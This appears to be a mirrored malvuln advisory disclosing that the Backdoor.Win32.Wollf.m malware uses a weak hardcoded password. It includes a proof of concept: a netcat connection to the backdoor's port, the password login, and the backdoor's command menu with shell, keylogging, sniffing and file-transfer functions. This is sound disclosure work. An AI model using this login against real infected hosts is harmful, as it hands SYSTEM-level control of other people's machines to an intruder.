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Backdoor.Win32.Wollf.m MVID-2021-0435 Weak Hardcoded Password

Backdoor.Win32.Wollf.m MVID-2021-0435 Weak Hardcoded Password
Posted Jan 3, 2022
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Wollf.m malware suffers from having a weak hardcoded password.

tags | exploit
systems | windows
SHA-256 | 643422b0c77d73d83930c3dad737b4297d8bea84ce50ddaf6a3f45bd3deae182

Backdoor.Win32.Wollf.m MVID-2021-0435 Weak Hardcoded Password

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b125a9a083447ad7d437e3e7f3ed5325.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.m
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 55555 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "alfaromeo" is weak and hardcoded within the executable and appears many times in a database of leaked passwords.
Type: PE32
MD5: b125a9a083447ad7d437e3e7f3ed5325
Vuln ID: MVID-2021-0435
Dropped files: wrm.exe
Disclosure: 12/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 55555

login: alfaromeo

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#help

DOS Switch to MS-DOS prompt
DIR/LS/LIST Directory and file list
CD Entry directory
MD/MKDIR Make directory
PWD Get current dirctory
COPY/CP Copy file
DEL/RM Delete directory/file
REN/RENAME Rename file
MOVE/MV Move file
TYPE/CAT Type text file

POPMSG Popup message box
SYSINFO Get system information
WHO/W Get current connections

SHELL Execute command by system shell(cmd.exe)
EXEC/RUN Execute file by windows API(WinExec)
WS Windows list
PS Process list
KILL Kill process

GET/GETFILE Download file from remote machine
PUT/PUTFILE Upload file to remote machine
WGET Get file from web server
FGET Get file from ftp server
FPUT Put file to ftp server
TELNET Connect to other host

FTPD Start ftp service
TELNETD/TELD/EXPORT Start telnet service (export shell)

REDIR Redirect tcp data from <Port> to <Dest_host:Dest_port>
REDIR_STOP Stop redirect tcp data
SNIFF Sniff ftp/smtp/pop3/http password what via ethernet
SNIFF_STOP Stop ethernet sniffer
KEYLOG Start keyboard record
KEYLOG_STOP Stop keyboard record

REBOOT Reboot windows
SHUTDOWN Shutdown windows
EXIT Close current connection
QUIT Close all connection and abort service
REMOVE Remove service
VER/VERSION Version information
HELP/H/? Show help message

Type "HELP | MORE" for multipage display.

Command "HELP" succeed.

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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